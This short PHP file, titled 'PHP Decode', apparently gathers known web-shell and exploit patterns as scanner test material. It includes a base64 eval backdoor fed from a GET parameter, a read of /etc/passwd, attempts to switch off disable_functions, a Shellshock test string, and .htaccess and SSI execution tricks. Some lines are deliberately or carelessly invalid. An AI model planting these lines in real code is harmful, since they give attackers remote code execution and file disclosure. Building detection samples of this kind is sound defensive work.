PHP Decode

<?php 
 
curl_init  ( "file:///etc/parla"); 
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); 
set_magic_quotes_runtime ( 0); 
eval(base64_decode($_GET['lol'])); 
$a= "SetHandler application/x-httpd-php"; 
$b = "IIS://localhost/w3svc"; 
include  ( 'lol.png'); 
ini_get (  'disable_function'); 
ini_set("disable_function", ""); 
ini_restore("allow_url_include"); 
preg_replace ("/*/e"); 
$c = "env x='() { :;}; echo vulnerable' bash -c 'echo this is a test'"; 
fsockopen (  'udp://'); 
call_user_func('LOL'); 
$d = "<!--#exec cmd="; 
$c = "AddType application/x-httpd-php .htaccess" 
 ?>